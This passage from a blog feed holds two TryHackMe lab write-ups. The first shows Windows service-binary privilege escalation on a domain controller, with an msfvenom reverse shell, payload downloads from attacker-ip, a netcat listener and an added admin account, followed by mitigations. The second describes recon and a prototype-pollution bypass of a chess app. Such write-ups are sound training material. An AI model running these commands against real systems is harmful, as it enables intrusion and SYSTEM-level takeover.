&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://attacker-ip/PowerUp.ps1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;powerup.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\powerup.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Get-ModifiableServiceFile&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-UnquotedService&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Relevant PowerUp output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ServiceName                     : zerotieroneservice
Path                             : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFile                  : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFilePermissions       : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'zerotieroneservice'
CanRestart                      : True
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;PowerUp independently confirms the exact same thing: &lt;code&gt;BUILTIN\Users&lt;/code&gt; can modify the service's binary, the service runs as &lt;code&gt;LocalSystem&lt;/code&gt;, and it can be restarted without needing a reboot.&lt;/p&gt;

&lt;h3&gt;
  
  
  Method A - manual reverse shell as SYSTEM
&lt;/h3&gt;

&lt;p&gt;Generated a Windows reverse shell payload with msfvenom:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; windows/x64/shell_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;attacker-ip &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444 &lt;span class="nt"&gt;-f&lt;/span&gt; exe &lt;span class="nt"&gt;-o&lt;/span&gt; rev.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pulled it onto the target and swapped it in for the legitimate service binary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://attacker-ip/rev.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rev.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Stop-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Copy-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe.bak"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Copy-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\rev.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Restart-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With a &lt;code&gt;nc&lt;/code&gt; listener running on the attacker box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;listening on [any] 4444 ...
connect to [attacker-ip] from (UNKNOWN) [machine-ip] 50818
Microsoft Windows [Version 10.0.17763.1817]

C:\Windows\system32&amp;gt;whoami
nt authority\system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Service Control Manager started "ZeroTier One.exe" exactly as configured - except it's now the reverse shell payload, and because the service is configured to run as &lt;code&gt;LocalSystem&lt;/code&gt;, the shell comes back as &lt;code&gt;nt authority\system&lt;/code&gt; straight away.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop
&lt;span class="nb"&gt;type &lt;/span&gt;root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Method B - the PowerUp way (adds a local admin instead)
&lt;/h3&gt;

&lt;p&gt;The same weak ACL can also be abused with PowerUp's own helper, which doesn't need a payload to be generated or uploaded at all - it patches the binary in place to run a &lt;code&gt;net user /add&lt;/code&gt; + group-add command instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Install-ServiceBinary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ServiceName        Path                                                            Command
-----------         ----                                                            -------
zerotieroneservice  C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe  net user john Password123! /add &amp;amp; ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Restart-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The restart itself reported a failure (&lt;code&gt;Failed to start service&lt;/code&gt;) - but the embedded commands still executed once before the service process died, which was enough:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;localgroup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Administrators&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Administrators
Administrator
Domain Admins
ENTERPRISE\Enterprise Admins
john
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;john&lt;/code&gt; is now a local Administrator. Logging in as that new account over WinRM (which &lt;code&gt;bitbucket&lt;/code&gt; never had access to) confirms full admin rights:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; john &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password123!'&lt;/span&gt;
&lt;span class="nb"&gt;whoami&lt;/span&gt; /all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (trimmed)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lab-enterprise\john
BUILTIN\Administrators   Alias   S-1-5-32-544   Mandatory group, Enabled by default, Enabled group, Group owner
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop
&lt;span class="nb"&gt;type &lt;/span&gt;root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same flag as the SYSTEM-shell method, confirming both routes land on full compromise of the domain controller.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Secrets in git history.&lt;/strong&gt; A commit that "removed" hardcoded AD credentials from a script only blanked the values in a new commit - the credentials remained fully recoverable in the prior commit, which is still part of the repo's history and pushed to a public GitHub org.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OSINT trail from a fake login page to a real GitHub org.&lt;/strong&gt; A cloned Atlassian login page with a company-specific banner ("we're moving to GitHub") leaked the existence and rough naming convention of a real, public source-control org, which in turn led to a real employee's public repos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak service-account password.&lt;/strong&gt; The &lt;code&gt;bitbucket&lt;/code&gt; service account (Kerberoastable via its &lt;code&gt;HTTP/LAB-DC&lt;/code&gt; SPN) had a short, guessable password that cracked against rockyou in under a second.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Password reused in an AD description field.&lt;/strong&gt; The &lt;code&gt;Contractor&lt;/code&gt; group's &lt;code&gt;description&lt;/code&gt; attribute contained a default password in plaintext, readable by any authenticated (or even null-session) user with LDAP read access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Writable service binary / install directory running as SYSTEM.&lt;/strong&gt; The &lt;code&gt;zerotieroneservice&lt;/code&gt; service ran as &lt;code&gt;LocalSystem&lt;/code&gt; but its install directory granted &lt;code&gt;BUILTIN\Users&lt;/code&gt; write access, letting any authenticated user - domain or local - replace the service binary and have it executed as SYSTEM on next start.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Full port scan (missed by the default top-1000 scan) reveals a Bitbucket-styled login page on port 7990 that is actually a static clone of Atlassian's real login page with a custom "we're moving to GitHub" banner.&lt;/li&gt;
&lt;li&gt;Google dorking for the company name against &lt;code&gt;site:github.com&lt;/code&gt; finds a real public GitHub org, whose &lt;code&gt;About-Us&lt;/code&gt; repo and people listing lead to an employee account (&lt;code&gt;Nik-enterprise-dev&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;That employee's &lt;code&gt;mgmtScript.ps1&lt;/code&gt; repo has a git history entry that "blanks out" hardcoded AD credentials in a new commit - the original commit with &lt;code&gt;nik:ToastyBoi!&lt;/code&gt; in plaintext is still fully recoverable.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;nik&lt;/code&gt;'s credentials authenticate over SMB/LDAP (no WinRM) and are used to enumerate the domain, including finding a Kerberoastable &lt;code&gt;bitbucket&lt;/code&gt; service account via its SPN.&lt;/li&gt;
&lt;li&gt;Kerberoasting &lt;code&gt;bitbucket&lt;/code&gt; and cracking the resulting TGS ticket with rockyou recovers &lt;code&gt;bitbucket:littleredbucket&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;bitbucket&lt;/code&gt; is a member of &lt;strong&gt;Remote Desktop Users&lt;/strong&gt;, granting an interactive RDP session and the user flag.&lt;/li&gt;
&lt;li&gt;Manual enumeration of &lt;code&gt;Program Files (x86)&lt;/code&gt; on the DC finds a leftover ZeroTier install whose service (&lt;code&gt;zerotieroneservice&lt;/code&gt;, running as &lt;code&gt;LocalSystem&lt;/code&gt;) has an install directory writable by &lt;code&gt;BUILTIN\Users&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Replacing the service binary (either with a custom reverse-shell payload, or via PowerUp's &lt;code&gt;Install-ServiceBinary&lt;/code&gt; helper that adds a local admin) and restarting the service executes attacker-controlled code as SYSTEM, yielding full compromise of the domain controller and the root flag.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never commit credentials to source control, even temporarily. If they ever were, rotate them immediately and treat the repository's entire history as compromised - rewriting history or deleting the file in a later commit is not sufficient, since old commits (and any forks or clones already made) still contain the secret.&lt;/li&gt;
&lt;li&gt;Avoid publishing internal tooling, scripts, or "reminder" banners that reveal internal migration plans, tooling names, or organizational structure to anyone who can reach an internet-facing login page.&lt;/li&gt;
&lt;li&gt;Enforce strong, unique passwords for all service accounts, and treat Kerberoastable accounts (anything with an SPN) as especially high-value, since any authenticated domain user can request and offline-crack their tickets without touching the account directly. Consider &lt;code&gt;gMSA&lt;/code&gt; accounts, which use long random passwords automatically rotated by AD.&lt;/li&gt;
&lt;li&gt;Never store passwords or password hints in AD attributes such as &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;info&lt;/code&gt;, or similar - these are readable by any user with basic LDAP read access, including unauthenticated/null sessions in many default configurations.&lt;/li&gt;
&lt;li&gt;Audit local group memberships (especially Remote Desktop Users and Administrators) regularly, and apply least privilege - a service account like &lt;code&gt;bitbucket&lt;/code&gt; likely doesn't need interactive desktop access at all.&lt;/li&gt;
&lt;li&gt;Regularly audit file and folder ACLs on anything referenced by a service &lt;code&gt;binPath&lt;/code&gt;, especially services that run as &lt;code&gt;LocalSystem&lt;/code&gt;. &lt;code&gt;BUILTIN\Users&lt;/code&gt; (or any low-privileged group) should never have write access to a SYSTEM-run service's binary or its containing directory. Remove unused/leftover third-party software (like this ZeroTier install) entirely rather than leaving it installed and forgotten.&lt;/li&gt;
&lt;li&gt;Quote all service binary paths containing spaces, and validate service configurations after any software installation or removal.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe : Fool's Mate Revenge</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Fri, 24 Jul 2026 09:11:44 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-fools-mate-revenge-1ge8</link>
      <guid>https://dev.to/exploitnotes/tryhackme-fools-mate-revenge-1ge8</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;This is the sequel to the original Endgame Trainer box. The developer clearly read that writeup - the client-side "don't let the player actually win" gate is gone entirely, and the win condition is now enforced server-side through a &lt;code&gt;session.config.unlocked&lt;/code&gt; flag that has to be true before &lt;code&gt;/api/move&lt;/code&gt; will hand back the flag on checkmate. Playing the winning move directly against the API (the trick that worked last time) now just returns a taunting "no reward for you" message.&lt;/p&gt;

&lt;p&gt;The new attack surface is a &lt;code&gt;/api/settings&lt;/code&gt; endpoint added for board theme/piece-set/animation preferences. It merges whatever JSON object the client sends into the session's settings without filtering dangerous key names. Sending &lt;code&gt;__proto__.unlocked&lt;/code&gt; didn't get through, but pivoting to the &lt;code&gt;constructor.prototype.unlocked&lt;/code&gt; gadget did - it polluted the global &lt;code&gt;Object.prototype&lt;/code&gt; with &lt;code&gt;unlocked: true&lt;/code&gt;. Since the reward-gate check just reads &lt;code&gt;session.config.unlocked&lt;/code&gt; and JavaScript objects fall back to their prototype chain for properties they don't own, the polluted prototype satisfied the check for every object in the app, including the session's &lt;code&gt;config&lt;/code&gt;. From there, resetting the board and replaying the exact same mate-in-one move returned the real flag.&lt;/p&gt;

&lt;p&gt;Box IP referred to below as &lt;code&gt;machine-ip&lt;/code&gt;, running on port 3000 this time.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Nmap
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nmap output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-22 06:31 -0400
Nmap scan report for machine-ip
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;| ssh-hostkey: 
|   256 96:21:f3:54:41:4d:9a:5b:40:2d:fd:07:24:7c:0f:38 (ECDSA)
|_  256 00:86:2a:c8:7d:41:c2:3b:09:33:cf:d2:9f:eb:40:59 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: "Endgame Trainer"

Network Distance: 3 hops
&lt;/span&gt;&lt;span class="gp"&gt;Service Info: OS: Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CPE: cpe:/o:linux:linux_kernel
&lt;span class="go"&gt;
TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   56.44 ms 192.168.128.1
2   ...
3   56.88 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 31.90 seconds
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Same shape as before: SSH on 22, and the "Endgame Trainer" Express app, just moved to port 3000 this time.&lt;/p&gt;

&lt;h3&gt;
  
  
  Looking at the page
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:3000/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page is the same mate-in-one chessboard as the original box, but there's a new &lt;strong&gt;Preferences&lt;/strong&gt; card in the sidebar - board theme, piece set, and move animation speed, saved with a "Save preferences" button. That panel didn't exist last time, and it's the first thing worth paying attention to since it's new surface area.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pulling down the client code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:3000/js/app.js &lt;span class="nt"&gt;-o&lt;/span&gt; app.js
&lt;span class="nb"&gt;cat &lt;/span&gt;app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key excerpt from app.js&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Chess&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;../vendor/chess.js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;START_FEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;doMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;isLegalTarget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;needsPromotion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/move&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;promotion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;promotion&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;locked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;renderFull&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;finalize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;refreshHighlights&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
